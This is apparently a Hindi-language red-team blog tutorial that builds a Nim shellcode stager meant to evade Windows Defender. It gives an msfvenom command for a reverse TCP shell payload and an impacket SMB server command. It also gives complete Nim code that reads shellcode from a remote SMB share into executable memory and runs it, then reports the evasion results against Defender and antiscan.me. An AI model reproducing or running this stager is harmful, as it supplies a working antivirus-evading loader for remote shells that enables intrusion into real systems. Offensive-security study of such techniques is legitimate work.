निम में एसएमबी स्टेगर का विकास करना
हैलो साथी रेड टीमर्स। मैंने हाल ही में आपत्तिजनक कोडिंग के लिए निम से संपर्क करना शुरू किया। सच कहूं तो मुझे यह मुश्किल और अजीब लगता है, लेकिन यह काम करता है!
आज हम परीक्षण के समय विंडोज डिफेंडर को दरकिनार करते हुए सरल एसएमबी स्टेगर विकसित कर रहे हैं।
यदि आप पढ़ने के बजाय वीडियो देखना पसंद करते हैं, तो पूरा वीडियो यहां पाया जा सकता है:https://youtu.be/qq-S2syksL0
इसके अलावा, यदि आप साइबर ज्ञान और अनुभव साझा करने के लिए ओपन डिस्कॉर्ड में शामिल होने में रुचि रखते हैं, तो आपका स्वागत है:https://discord.gg/dWCe5ZMvtQ
चलो चलते हैं
सिद्धांत काफी सरल है, विचार यह है कि हस्ताक्षर-आधारित पहचान को दरकिनार करते हुए फ़ाइल में शेलकोड लिखने से बचा जाए, साथ ही साथ ह्यूरिस्टिक्स के लिए भी मदद की जाए। मैंने शुरू में HTTP के साथ शेलकोड डाउनलोड करने की कोशिश की, लेकिन मैं कई मुद्दों पर लड़खड़ा गया, मैं खुद को हल करने में सक्षम नहीं था। फिर कार्यप्रणाली थोड़ी बदल गई। इसे HTTP से डाउनलोड करने के बजाय, पेलोड को SMB शेयर पर होस्ट किया जाएगा, और वहां से सीधे पढ़ा जाएगा।
मैंने एमएसएफवेनम स्टेजलेस पेलोड का इस्तेमाल किया
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
सबसे पहले सबसे पहले, हमें विंडोज कर्नेल लाइब्रेरी को आयात करना चाहिए, जिससे हम विंडोज एपीआई का आह्वान कर सकें:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
परीक्षण का समय!
मैंने 2 टेस्ट किए। पहला डिफेंडर यूपी और रनिंग के साथ विंडोज 10 क्लाइंट के खिलाफ है। दूसरा antiscan.me इंटरफेस के खिलाफ है।
निम स्टैगर बनाम विंडोज डिफेंडर
टेस्ट 1 फाइलसिस्टम में स्टेजर को गिराने से शुरू होता है। अब तक कुछ भी ट्रिगर नहीं हो रहा है, जिसका अर्थ है कि हमने हस्ताक्षर आधारित पहचान को सफलतापूर्वक बायपास कर दिया है। अब दौड़ते हैं और निरीक्षण करते हैं:
स्टैगर ठीक काम कर रहा था, और यहाँ अजीब बात यह है कि डिफेंडर ट्रिगर होने में कामयाब रहा, लेकिन इसने शेल को नहीं मारा:
मेरे पास यह खोल कुछ मिनटों तक चल रहा था और यह पूरी तरह कार्यात्मक था। मुझे व्यक्तिगत रूप से कोई सुराग नहीं है कि डिफेंडर ने इसे क्यों नहीं मारा, अगर आपको जवाब पता है तो मैं साझा करने की सराहना करता हूं।
निम स्टैगर बनाम एंटीस्कैनमे
मुझे गलत मत समझिए, एंटीस्कैनमे बहुत अच्छा है, लेकिन स्टैगर्स का परीक्षण करते समय, उनके पास वास्तव में वैध परिणाम प्रस्तुत करने का कोई तरीका नहीं होता है। आपके द्वारा देखे जाने वाले परिणाम हस्ताक्षर आधारित पहचान पर ठोस रूप से आधारित होते हैं, क्योंकि उनके पास वास्तविक शेलकोड को डाउनलोड करने की कोई नेटवर्क संभावना नहीं होती है। मुझे उम्मीद है कि अधिक एवी विक्रेता वास्तविक परीक्षण पर पकड़ लेंगे, लेकिन यह एक अच्छा "पहला कदम" है।
स्टैगर अपलोड करने के बाद सिर्फ 4/26 वेंडर ही इसे पकड़ पाए।
मेरा मानना है कि ट्रिगर विंडोज़ एपीआई कॉल पढ़ने वाले विक्रेताओं पर आधारित है, इस प्रकार यह एक दुर्भावनापूर्ण के रूप में गिना जाता है। बेशक, यह जांचने के लिए कि वास्तव में क्या गलत हुआ, मुझे कई, कई परीक्षण करने की आवश्यकता होगी। फिलहाल यही मेरा सिद्धांत है।
निष्कर्ष
निम के साथ खेलना मजेदार है और हमने केवल मंचन करके जो परिणाम हासिल किए हैं वे अद्भुत हैं। बेशक, बहुत अधिक उन्नत AV तकनीकें हैं जिन्हें हम दरकिनार कर सकते हैं, लेकिन हम भविष्य में ऐसा करेंगे। आशा है कि आपको वह सामग्री उपयोगी लगी होगी और आपने कुछ नया सीखा होगा।